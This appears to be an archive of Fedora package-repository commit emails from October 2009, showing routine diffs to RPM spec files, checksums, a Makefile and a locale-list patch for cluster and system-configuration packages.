+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- New upstream release
+
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-2
-- Retag in cvs
+- Fix changelog.
 
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-1
 - New upstream release
 - spec file updates:
   * remove dust from runtime dependencies
 
-* Wed Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-14
+* Thu Aug 20 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.1-1
+- New upstream release
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.0-15
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-14
 - New upstream release
 - spec file updates:
   * Update copyright header


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	24 Aug 2009 13:14:37 -0000	1.8
+++ sources	9 Oct 2009 05:50:38 -0000	1.9
@@ -1 +1 @@
-bbad9ff97a7ce268e43de2cc2aa297f7  fence-agents-3.0.2.tar.gz
+3c418463f61d27e605a979ae2a7ea44c  fence-agents-3.0.3.tar.gz



From fabbione at fedoraproject.org  Fri Oct  9 05:56:41 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 05:56:41 +0000 (UTC)
Subject: rpms/resource-agents/F-11 .cvsignore, 1.6, 1.7 resource-agents.spec,
	1.7, 1.8 sources, 1.7, 1.8
Message-ID: <20091009055641.4AC2711C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/resource-agents/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12307

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	24 Mar 2009 09:23:14 -0000	1.6
+++ .cvsignore	9 Oct 2009 05:56:40 -0000	1.7
@@ -1 +1 @@
-resource-agents-3.0.0.rc1.tar.gz
+resource-agents-3.0.3.tar.gz


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-11/resource-agents.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- resource-agents.spec	28 Jul 2009 17:43:11 -0000	1.7
+++ resource-agents.spec	9 Oct 2009 05:56:40 -0000	1.8
@@ -18,8 +18,8 @@
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
-Version: 3.0.0
-Release: 12%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.3
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -72,6 +72,9 @@ services to operate in a High Availabili
 %{_datadir}/cluster
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- New upstream release.
+
 * Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-12
 - New upstream release.
 - spec file updates:


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	28 Jul 2009 17:43:11 -0000	1.7
+++ sources	9 Oct 2009 05:56:40 -0000	1.8
@@ -1 +1 @@
-485253db9ea4d48d38d7a0aef84cf660  resource-agents-3.0.0.tar.gz
+91110701087ffc915971231b392180d0  resource-agents-3.0.3.tar.gz



From fabbione at fedoraproject.org  Fri Oct  9 06:00:36 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 06:00:36 +0000 (UTC)
Subject: rpms/rgmanager/F-11 .cvsignore, 1.15, 1.16 Makefile, 1.5,
	1.6 rgmanager.spec, 1.45, 1.46 sources, 1.24, 1.25 dead.package,
	1.1, NONE
Message-ID: <20091009060036.82D1111C0265@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/rgmanager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12893

Added Files:
	.cvsignore Makefile rgmanager.spec sources 
Removed Files:
	dead.package 
Log Message:
Re-instate package



Index: .cvsignore
===================================================================
RCS file: .cvsignore
diff -N .cvsignore
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ .cvsignore	9 Oct 2009 06:00:35 -0000	1.16
@@ -0,0 +1 @@
+rgmanager-3.0.3.tar.gz


Index: Makefile
===================================================================
RCS file: Makefile
diff -N Makefile
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ Makefile	9 Oct 2009 06:00:35 -0000	1.6
@@ -0,0 +1,21 @@
+# Makefile for source rpm: rgmanager
+# $Id$
+NAME := rgmanager
+SPECFILE = $(firstword $(wildcard *.spec))
+
+define find-makefile-common
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+endef
+
+MAKEFILE_COMMON := $(shell $(find-makefile-common))
+
+ifeq ($(MAKEFILE_COMMON),)
+# attept a checkout
+define checkout-makefile-common
+test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
+endef
+
+MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
+endif
+
+include $(MAKEFILE_COMMON)


Index: rgmanager.spec
===================================================================
RCS file: rgmanager.spec
diff -N rgmanager.spec
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ rgmanager.spec	9 Oct 2009 06:00:36 -0000	1.46
@@ -0,0 +1,91 @@
+###############################################################################
+###############################################################################
+##
+##  Copyright (C) 2004-2009 Red Hat, Inc.  All rights reserved.
+##
+##  This copyrighted material is made available to anyone wishing to use,
+##  modify, copy, or redistribute it subject to the terms and conditions
+##  of the GNU General Public License v.2.
+##
+###############################################################################
+###############################################################################
+
+# main (empty) package
+# http://www.rpm.org/max-rpm/s1-rpm-subpack-spec-file-changes.html
+
+# keep around ready for later user
+## define alphatag rc4
+
+Name: rgmanager
+Summary: Open Source HA Resource Group Failover for Red Hat Cluster
+Version: 3.0.3
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+License: GPLv2+ and LGPLv2+
+Group: System Environment/Base
+URL: http://sources.redhat.com/cluster/wiki/
+Source0: ftp://sources.redhat.com/pub/cluster/releases/rgmanager-%{version}%{?alphatag:.%{alphatag}}.tar.gz
+
+## runtime
+
+Requires: chkconfig initscripts
+Requires: cman resource-agents
+Requires(post): chkconfig
+Requires(preun): initscripts
+Requires(preun): chkconfig
+
+## Setup/build bits
+
+BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+
+# Build dependencies
+BuildRequires: clusterlib-devel >= 3.0.0-1
+BuildRequires: libxml2-devel ncurses-devel slang-devel
+
+%prep
+%setup -q -n rgmanager-%{version}%{?alphatag:.%{alphatag}}
+
+%build
+./configure \
+  --sbindir=%{_sbindir} \
+  --initddir=%{_sysconfdir}/rc.d/init.d \
+  --libdir=%{_libdir} \
+  --without_fence_agents \
+  --without_resource_agents \
+  --without_kernel_modules \
+  --disable_kernel_check
+
+##CFLAGS="$(echo '%{optflags}')" make %{_smp_mflags}
+CFLAGS="$(echo '%{optflags}')" make -C rgmanager all
+
+%install
+rm -rf %{buildroot}
+make -C rgmanager install DESTDIR=%{buildroot}
+
+%clean
+rm -rf %{buildroot}
+
+%description
+Red Hat Resource Group Manager provides high availability of critical server
+applications in the event of planned or unplanned system downtime.
+
+%post
+/sbin/chkconfig --add rgmanager
+
+%preun
+if [ "$1" = 0 ]; then
+	/sbin/service rgmanager stop >/dev/null 2>&1
+	/sbin/chkconfig --del rgmanager
+fi
+
+%files
+%defattr(-,root,root,-)
+%doc doc/COPYING.* doc/COPYRIGHT doc/README.licence rgmanager/README rgmanager/errors.txt
+%{_sysconfdir}/rc.d/init.d/rgmanager
+%{_sbindir}/clu*
+%{_sbindir}/rgmanager
+%{_sbindir}/rg_test
+%{_mandir}/man8/clu*
+
+%changelog
+* Tue Sep  1 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- Split from cluster srpm


Index: sources
===================================================================
RCS file: sources
diff -N sources
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sources	9 Oct 2009 06:00:36 -0000	1.25
@@ -0,0 +1 @@
+3cb25e8ddfd229831a37ba31a8b7ad56  rgmanager-3.0.3.tar.gz


--- dead.package DELETED ---



From pravins at fedoraproject.org  Fri Oct  9 06:08:46 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Fri,  9 Oct 2009 06:08:46 +0000 (UTC)
Subject: rpms/system-config-language/F-12 s-c-l_525040.patch, NONE,
	1.1 system-config-language.spec, 1.56, 1.57
Message-ID: <20091009060846.D85FB11C00C1@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/system-config-language/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14137

Modified Files:
	system-config-language.spec 
Added Files:
	s-c-l_525040.patch 
Log Message:
* Fri Oct 09 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-2
- fixed 525040


s-c-l_525040.patch:
 locale-list |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE s-c-l_525040.patch ---
diff -rup system-config-language-1.3.3/src/locale-list system-config-language-1.3.3_mod/src/locale-list
--- system-config-language-1.3.3/src/locale-list	2009-09-23 12:29:48.000000000 +0530
+++ system-config-language-1.3.3_mod/src/locale-list	2009-10-09 11:35:23.000000000 +0530
@@ -29,7 +29,7 @@ bg_BG.UTF-8 utf8 latarcyrheb-sun16 Bulga
 ca_ES.UTF-8 utf8 latarcyrheb-sun16 Catalan (Spain)
 zh_HK.UTF-8 utf8 latarcyrheb-sun16 Chinese (Hong Kong)
 zh_CN.UTF-8 utf8 lat0-sun16 Chinese (P.R. of China)  -  ??(??)
-zh_TW.UTF-8 utf8 lat0-sun16 Chinese (Taiwan)  -  ????
+zh_TW.UTF-8 utf8 lat0-sun16 Chinese (Taiwan)  -  ????
 kw_GB.UTF-8 utf8 latarcyrheb-sun16 Cornish (Britain)
 hr_HR.UTF-8 utf8 latarcyrheb-sun16 Croatian
 cs_CZ.UTF-8 utf8 latarcyrheb-sun16 Czech  -  ?esk? republika


Index: system-config-language.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-language/F-12/system-config-language.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- system-config-language.spec	23 Sep 2009 07:56:21 -0000	1.56
+++ system-config-language.spec	9 Oct 2009 06:08:46 -0000	1.57
@@ -1,7 +1,7 @@
 Summary: A graphical interface for modifying the system language
 Name: system-config-language
 Version: 1.3.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://fedoraproject.org/wiki/SystemConfig/language
 License: GPLv2+
 Group: System Environment/Base
@@ -18,6 +18,7 @@ Requires: usermode-gtk >= 1.36
 Requires: yum >= 2.9.5
 Requires: gtk2 >= 2.6
 Obsoletes: locale_config  <= %{version}
+Patch1:         s-c-l_525040.patch
 
 %description
 system-config-language is a graphical user interface that 
@@ -25,6 +26,7 @@ allows the user to change the default la
 
 %prep
 %setup -q
+%patch1 -p1 -b .1-525040
 
 %build
 make %{?_smp_mflags}
@@ -82,6 +84,9 @@ fi
 %config(noreplace) %{_sysconfdir}/security/console.apps/system-config-language
 
 %changelog
+* Fri Oct 09 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-2
+- fixed 525040
+
 * Wed Sep 23 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-1
 - upstream release of 1.3.3
 - updated .pot files



From pravins at fedoraproject.org  Fri Oct  9 06:19:28 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Fri,  9 Oct 2009 06:19:28 +0000 (UTC)
Subject: rpms/system-config-language/devel s-c-l_525040.patch, NONE,
	1.1 system-config-language.spec, 1.56, 1.57
Message-ID: <20091009061928.867E111C00C1@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/system-config-language/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17091

Modified Files:
	system-config-language.spec 
Added Files:
	s-c-l_525040.patch 
Log Message:
* Fri Oct 09 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-2
- fixed 525040


s-c-l_525040.patch:
 locale-list |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE s-c-l_525040.patch ---
diff -rup system-config-language-1.3.3/src/locale-list system-config-language-1.3.3_mod/src/locale-list
--- system-config-language-1.3.3/src/locale-list	2009-09-23 12:29:48.000000000 +0530
+++ system-config-language-1.3.3_mod/src/locale-list	2009-10-09 11:35:23.000000000 +0530
@@ -29,7 +29,7 @@ bg_BG.UTF-8 utf8 latarcyrheb-sun16 Bulga
 ca_ES.UTF-8 utf8 latarcyrheb-sun16 Catalan (Spain)
 zh_HK.UTF-8 utf8 latarcyrheb-sun16 Chinese (Hong Kong)
 zh_CN.UTF-8 utf8 lat0-sun16 Chinese (P.R. of China)  -  ??(??)
-zh_TW.UTF-8 utf8 lat0-sun16 Chinese (Taiwan)  -  ????
+zh_TW.UTF-8 utf8 lat0-sun16 Chinese (Taiwan)  -  ????
 kw_GB.UTF-8 utf8 latarcyrheb-sun16 Cornish (Britain)
 hr_HR.UTF-8 utf8 latarcyrheb-sun16 Croatian
 cs_CZ.UTF-8 utf8 latarcyrheb-sun16 Czech  -  ?esk? republika


Index: system-config-language.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-language/devel/system-config-language.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- system-config-language.spec	23 Sep 2009 07:56:21 -0000	1.56
+++ system-config-language.spec	9 Oct 2009 06:19:28 -0000	1.57
@@ -1,7 +1,7 @@
 Summary: A graphical interface for modifying the system language
 Name: system-config-language
 Version: 1.3.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://fedoraproject.org/wiki/SystemConfig/language
 License: GPLv2+
 Group: System Environment/Base
@@ -18,6 +18,7 @@ Requires: usermode-gtk >= 1.36
 Requires: yum >= 2.9.5
 Requires: gtk2 >= 2.6
 Obsoletes: locale_config  <= %{version}
+Patch1:         s-c-l_525040.patch
 
 %description
 system-config-language is a graphical user interface that 
@@ -25,6 +26,7 @@ allows the user to change the default la
 
 %prep
 %setup -q
+%patch1 -p1 -b .1-525040
 
 %build
 make %{?_smp_mflags}
@@ -82,6 +84,9 @@ fi
 %config(noreplace) %{_sysconfdir}/security/console.apps/system-config-language
 
 %changelog
+* Fri Oct 09 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-2
+- fixed 525040
+
 * Wed Sep 23 2009 Pravin Satpute <psatpute at redhat.com>- 1.3.3-1
 - upstream release of 1.3.3
 - updated .pot files



From stefansf at fedoraproject.org  Fri Oct  9 07:17:53 2009
From: stefansf at fedoraproject.org (Stefan Schulze Frielinghaus)
Date: Fri,  9 Oct 2009 07:17:53 +0000 (UTC)
Subject: rpms/sec/EL-5 sec.spec,1.4,1.5
Message-ID: <20091009071753.BB1B811C00C1@cvs1.fedora.phx.redhat.com>

Author: stefansf

Update of /cvs/pkgs/rpms/sec/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28091

Modified Files:
	sec.spec 
Log Message:
- Spec file cleanup



Index: sec.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/sec.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sec.spec	8 Oct 2009 16:44:34 -0000	1.4
+++ sec.spec	9 Oct 2009 07:17:51 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           sec
 Version:        2.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Simple Event Correlator script to filter log file entries
 Group:          System Environment/Daemons
 License:        GPLv2+
@@ -109,6 +109,9 @@ rm -rf %{buildroot}
 %{_mandir}/man1/sec.1*
 
 %changelog
+* Fri Oct 9 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-2
+- SPEC file cleanup
+
 * Tue Sep 29 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-1
 - New upstream release
 - SPEC file cleanup
@@ -118,53 +121,3 @@ rm -rf %{buildroot}
   will include the examples in the next release.
 - Removed a provide statement since a period was in the name and no other
   package required that special name.
-
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-4
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
-* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
-
-* Thu Sep  4 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 2.4.1-2
-- fix license tag
-
-* Mon May 28 2007 Chris Petersen <rpm at forevermore.net>                  2.4.1-1
-- Update to 2.4.1
-
-* Wed Dec 06 2006 Chris Petersen <rpm at forevermore.net>                  2.4.0-1
-- Update to 2.4.0
-
-* Mon Jun 12 2006 Chris Petersen <rpm at forevermore.net>                  2.3.3-4
-- Change group to keep rpmlint happy
-- Fix permissions on the logrotate script
-
-* Thu Jun 08 2006 Chris Petersen <rpm at forevermore.net>                  2.3.3-3
-- Clean up spec
-- Add ghost file entries for the default logfile and pid
-- Add logrotate script
-- Add more bleedingsnort examples
-- Add pid to sec.sysconfig and completely rewrite to handle multiple instances
-- Fix download URL
-- Fix echo log command in 001_init.sec
-- Rewrite sysV init script to handle multiple instances (based loosely on vsftpd)
-
-* Mon May 01 2006 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.3-2
-- Change init script to not start by default in any runlevel
-
-* Fri Apr 28 2006 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.3-1
-- Upgrade to upstream 2.3.3
-- Add status to init script
-
-* Thu Sep 22 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-4
-- Update Source locations
-
-* Thu Sep 22 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-3
-- Change permissions on /usr/bin/sec
-
-* Thu Sep 22 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-2
-- Create initial startup rulesets
-- Add examples
-- Refine init script
-
-* Wed Sep 21 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-1
-- First build



From fabbione at fedoraproject.org  Fri Oct  9 07:27:08 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 07:27:08 +0000 (UTC)
Subject: rpms/ocfs2-tools/devel ocfs2-tools.spec,1.14,1.15
Message-ID: <20091009072709.0331511C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/ocfs2-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29033

Modified Files:
	ocfs2-tools.spec 
Log Message:
Explicitly buildrequires corosynclib-devel



Index: ocfs2-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/devel/ocfs2-tools.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ocfs2-tools.spec	2 Oct 2009 08:07:20 -0000	1.14
+++ ocfs2-tools.spec	9 Oct 2009 07:27:07 -0000	1.15
@@ -6,7 +6,7 @@
 Summary: Tools for managing the Ocfs2 cluster file system
 Name: ocfs2-tools
 Version: 1.4.3
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2
 Group: System Environment/Base
 # The source for this package was pulled from upstream's git repo and manually
@@ -32,7 +32,7 @@ BuildRequires: e2fsprogs-devel, glib2-de
 BuildRequires: libblkid-devel, bzip2-devel
 BuildRequires: pygtk2 >= 1.99.16, python-devel >= 2.5
 BuildRequires: ncurses-devel, readline-devel
-BuildRequires: openaislib-devel, clusterlib-devel
+BuildRequires: corosynclib-devel, openaislib-devel, clusterlib-devel
 BuildRequires: cluster-glue-libs-devel, pacemaker-libs-devel
 BuildRequires: libxml2-devel
 
@@ -213,6 +213,9 @@ fi
 /usr/lib/ocf/resource.d/ocfs2
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-3
+- Explicitly BuildRequires: corosynclib-devel
+
 * Wed Sep 30 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-2
 - Fix -pcmk Requires.
 



From fabbione at fedoraproject.org  Fri Oct  9 07:28:29 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 07:28:29 +0000 (UTC)
Subject: rpms/ocfs2-tools/F-12 ocfs2-tools.spec,1.14,1.15
Message-ID: <20091009072829.EE58111C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/ocfs2-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29251

Modified Files:
	ocfs2-tools.spec 
Log Message:
Explicitly build requires corosynclib-devel



Index: ocfs2-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-12/ocfs2-tools.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ocfs2-tools.spec	2 Oct 2009 08:07:59 -0000	1.14
+++ ocfs2-tools.spec	9 Oct 2009 07:28:29 -0000	1.15
@@ -6,7 +6,7 @@
 Summary: Tools for managing the Ocfs2 cluster file system
 Name: ocfs2-tools
 Version: 1.4.3
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2
 Group: System Environment/Base
 # The source for this package was pulled from upstream's git repo and manually
@@ -32,7 +32,7 @@ BuildRequires: e2fsprogs-devel, glib2-de
 BuildRequires: libblkid-devel, bzip2-devel
 BuildRequires: pygtk2 >= 1.99.16, python-devel >= 2.5
 BuildRequires: ncurses-devel, readline-devel
-BuildRequires: openaislib-devel, clusterlib-devel
+BuildRequires: corosynclib-devel, openaislib-devel, clusterlib-devel
 BuildRequires: cluster-glue-libs-devel, pacemaker-libs-devel
 BuildRequires: libxml2-devel
 
@@ -213,6 +213,9 @@ fi
 /usr/lib/ocf/resource.d/ocfs2
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-3
+- Explicitly BuildRequires: corosynclib-devel
+
 * Wed Sep 30 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-2
 - Fix -pcmk Requires.
 



From stefansf at fedoraproject.org  Fri Oct  9 07:40:20 2009
From: stefansf at fedoraproject.org (Stefan Schulze Frielinghaus)
Date: Fri,  9 Oct 2009 07:40:20 +0000 (UTC)
Subject: rpms/sec/EL-5 sec.spec,1.5,1.6
Message-ID: <20091009074020.BAEE311C02A0@cvs1.fedora.phx.redhat.com>

Author: stefansf

Update of /cvs/pkgs/rpms/sec/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31401

Modified Files:
	sec.spec 
Log Message:
- Merge fix



Index: sec.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/EL-5/sec.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sec.spec	9 Oct 2009 07:17:51 -0000	1.5
+++ sec.spec	9 Oct 2009 07:40:18 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           sec
 Version:        2.5.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Simple Event Correlator script to filter log file entries
 Group:          System Environment/Daemons
 License:        GPLv2+
@@ -109,6 +109,9 @@ rm -rf %{buildroot}
 %{_mandir}/man1/sec.1*
 
 %changelog
+* Fri Oct 9 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-3
+- Merge fix
+
 * Fri Oct 9 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-2
 - SPEC file cleanup
 
@@ -121,3 +124,44 @@ rm -rf %{buildroot}
   will include the examples in the next release.
 - Removed a provide statement since a period was in the name and no other
   package required that special name.
+
+* Mon May 28 2007 Chris Petersen <rpm at forevermore.net>                  2.4.1-1
+- Update to 2.4.1
+
+* Wed Dec 06 2006 Chris Petersen <rpm at forevermore.net>                  2.4.0-1
+- Update to 2.4.0
+
+* Mon Jun 12 2006 Chris Petersen <rpm at forevermore.net>                  2.3.3-4
+- Change group to keep rpmlint happy
+- Fix permissions on the logrotate script
+
+* Thu Jun 08 2006 Chris Petersen <rpm at forevermore.net>                  2.3.3-3
+- Clean up spec
+- Add ghost file entries for the default logfile and pid
+- Add logrotate script
+- Add more bleedingsnort examples
+- Add pid to sec.sysconfig and completely rewrite to handle multiple instances
+- Fix download URL
+- Fix echo log command in 001_init.sec
+- Rewrite sysV init script to handle multiple instances (based loosely on vsftpd)
+
+* Mon May 01 2006 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.3-2
+- Change init script to not start by default in any runlevel
+
+* Fri Apr 28 2006 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.3-1
+- Upgrade to upstream 2.3.3
+- Add status to init script
+
+* Thu Sep 22 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-4
+- Update Source locations
+
+* Thu Sep 22 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-3
+- Change permissions on /usr/bin/sec
+
+* Thu Sep 22 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-2
+- Create initial startup rulesets
+- Add examples
+- Refine init script
+
+* Wed Sep 21 2005 Didier Moens <Didier.Moens at dmbr.UGent.be>             2.3.2-1
+- First build



From fabbione at fedoraproject.org  Fri Oct  9 07:44:49 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 07:44:49 +0000 (UTC)
Subject: rpms/ocfs2-tools/F-11 .cvsignore, 1.2, 1.3 ocfs2-tools.spec, 1.6,
	1.7 sources, 1.2, 1.3
Message-ID: <20091009074449.E7DF411C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/ocfs2-tools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32101

Modified Files:
	.cvsignore ocfs2-tools.spec sources 
Log Message:
New upstream release that actually works



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	18 Apr 2008 18:52:22 -0000	1.2
+++ .cvsignore	9 Oct 2009 07:44:49 -0000	1.3
@@ -1 +1 @@
-ocfs2-tools-1.3.9.tar.gz
+ocfs2-tools-1.4.3.tar.gz


Index: ocfs2-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-11/ocfs2-tools.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- ocfs2-tools.spec	26 Feb 2009 07:42:08 -0000	1.6
+++ ocfs2-tools.spec	9 Oct 2009 07:44:49 -0000	1.7
@@ -1,12 +1,12 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 %define with_console %{?_without_console: 0} %{?!_without_console: 1}
-%define alphatag 20080221git
+## define alphatag 20080221git
 
 Summary: Tools for managing the Ocfs2 cluster file system
 Name: ocfs2-tools
-Version: 1.3.9
-Release: 10%{?alphatag:.%{alphatag}}%{?dist}
+Version: 1.4.3
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2
 Group: System Environment/Base
 # The source for this package was pulled from upstream's git repo and manually
@@ -18,16 +18,19 @@ Group: System Environment/Base
 #   ./autogen.sh
 #   cd ..
 #   tar -czvf ocfs2-tools-1.3.9.tar.gz ocfs2-tools-1.3.9
-Source: %{name}-%{version}.tar.gz
+Source0: %{name}-%{version}.tar.gz
 URL: http://oss.oracle.com/projects/ocfs2-tools/
 Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires: bash, coreutils, net-tools, modutils
 Requires: e2fsprogs, chkconfig, glib2 >= 2.2.3
+Requires: redhat-lsb
 BuildRequires: e2fsprogs-devel, glib2-devel >= 2.2.3
+BuildRequires: bzip2-devel
 BuildRequires: pygtk2 >= 1.99.16, python-devel >= 2.5
-BuildRequires: ncurses-devel, readline-devel, desktop-file-utils
+BuildRequires: ncurses-devel, readline-devel
+BuildRequires: corosync-devel, openaislib-devel, clusterlib-devel
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 
@@ -49,7 +52,6 @@ Group: System Environment/Kernel
 Requires: e2fsprogs, glib2 >= 2.2.3, vte >= 0.11.10, pygtk2 >= 1.99.16
